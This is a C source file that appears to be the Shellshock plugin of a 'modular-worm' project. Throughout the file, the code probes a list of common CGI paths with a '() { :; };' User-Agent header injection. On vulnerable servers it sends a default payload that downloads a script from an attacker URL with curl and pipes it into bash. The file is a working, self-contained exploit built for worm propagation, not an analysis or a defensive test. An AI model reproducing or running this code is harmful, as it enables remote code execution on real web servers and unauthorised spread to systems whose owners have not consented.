modular-worm/plugins/4_shellshock.c

170 lines
5.1 KiB
C

#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "api.h"
#include "error_codes.h"
#include "4_shellshock.h"
#include "5_shellshock_command.h"
api_plugin_t version = {.id = 4, .flag = 0, .major = 1, .minor = 0};
static char *p4_default_queries[] = {
"",
"cgi-bin/printenv",
"cgi-bin/test-cgi",
"cgi-bin/test-cgi.cgi",
"cgi-bin/test.cgi",
"cgi-mod/index.cgi",
"cgi-mod/index",
"cgi-sys/entropysearch.cgi",
"cgi-sys/defaultwebpage.cgi",
};
/* default payload to execute on the server */
static char *p4_default_payload = "/usr/bin/env curl " P5_ATTACKER_URL " -L | IP=\"" P5_ATTACKER_URL "\" /usr/bin/env bash";
/*
The test must check if the url is vulnerable or not. It should be stealther thant "p4_attack".
FOR NOW:
To a static url (TODO the test should not be a static payload!)
it tries to exploit shellshock on it and adds in the web server response a Header.
If this header is found, then shellshock worked.
@param url the url to test
*/
static int p4_test_if_vulnerable(char *url) {
// test the url with a header and write the result into a file
printf("[4] test url \"%s\"\n", url);
char *str_to_exec;
asprintf(&str_to_exec, "/usr/bin/env curl -I %s -H \"User-Agent: () { :; }; echo 'ShellShock: yes'\" | grep '^ShellShock: yes'", url); // signature is easy
if (str_to_exec == NULL)
return ERR_MEMORY;
FILE *file = popen(str_to_exec, "r");
free(str_to_exec);
if (file == NULL) {
return ERR_ATTACK_FAILED;
}
char data[16] = {0};
int bytes_count = fread(data, 1, 16, file);
printf("data: \"%s\"\n", data);
// if the file is valid, then shellshock worked
if (bytes_count == 16 && strncmp(data, "ShellShock: yes", 15) == 0) {
return SUCCESS;
}
else {
return ERR_ATTACK_FAILED;
}
}
/*
tries to exploit shellshock on the url with the given payload (or the default one if none has been set)
@param url: the entry-point to target
@param payload: the executable code to deliver on the target
*/
static int p4_attack(char *url, char *payload) {
printf("[4] Attack the url \"%s\" because tested\n", url);
if (payload == NULL)
payload = p4_default_payload;
char *str_to_exec;
asprintf(&str_to_exec, "curl %s -H \"User-Agent: () { :; }; %s\"\n", url, payload);
if (str_to_exec == NULL)
return ERR_MEMORY;
system(str_to_exec);
free(str_to_exec);
return SUCCESS;
}
/*
Prepares the module for the attack (configuration)
@param msgp message received (used for being parsed)
@param domain a pointer to a variable where the domain will be set
@param url a pointer to a variable where the url will be set
@param payload a pointer to a variable where the payload will be set
*/
static void p4_add_state(api_msg_t *msgp, char **domain, char **url, char **payload) {
api_msg_t msg = *msgp;
if (P4_SHELLSHOCK_IS_DOMAIN(msg)) {
*domain = P4_SHELLSHOCK_READ_DOMAIN(msg);
printf("[4] add domain \"%s\"\n", *domain);
}
else if (P4_SHELLSHOCK_IS_URL(msg)) {
*url = P4_SHELLSHOCK_READ_URL(msg);
printf("[4] add url \"%s\"\n", *url);
}
else if (P4_SHELLSHOCK_IS_PAYLOAD(msg)) {
*payload = P4_SHELLSHOCK_READ_PAYLOAD(msg);
printf("[4] add payload\n");
}
}
/*
Executes the shellshock attack with the current state (parameters domain, url, payload)
* First test if the url(s) are vulnerable
* If yes, then attack the first vulnerable url found
@param domain domain to attack, may be null if not specified
@param url url to attack, may be null if not specified
@param payload payload to use, may be null if not specified
*/
static int p4_execute(char *domain, char *url, char* payload) {
if (url) {
if (p4_test_if_vulnerable(url) == 0) {
return p4_attack(url, payload);
}
}
else if (domain) {
for (int i = 0; i < 5; i++) {
int success = 0;
char *url_to_test;
asprintf(&url_to_test, "%s/%s", domain, p4_default_queries[i]);
if (url_to_test == NULL)
continue;
if (p4_test_if_vulnerable(url_to_test) == 0) {
success = (p4_attack(url_to_test, payload) == 0);
}
free(url_to_test);
if (success)
return SUCCESS;
}
}
else {
printf("[4] Not ready to exectute (missing domain or url)\n");
return ERR_PLUGIN_NOT_READY;
}
printf("[4] URL or DOMAIN is not vulnerable\n");
return ERR_TEST_FAILED; // ERR: Not vulnerable
}
/*
While a message is received, add it to the current state (domain, url, payload, ...).
If an "execute" request is read, it will start an attack with the current configuration
*/
void run() {
api_msg_t msg;
static char *domain = NULL;
static char *url = NULL;
static char *payload = NULL;
if (API_RECEIVE_MESSAGE(&((api_plugin_t){5, 0, 0, 0}), msg) == 0) {
printf("[4] message received !\n");
p4_add_state(&msg, &domain, &url, &payload);
if (!P4_SHELLSHOCK_IS_TO_EXECUTE(msg)) { // todo: asynchronous
printf("[4] execute attack\n");
if (p4_execute(domain, url, payload) != 0) {
printf("[4] Error occured\n");
}
}
else {
printf("[4] no attack\n");
}
}
}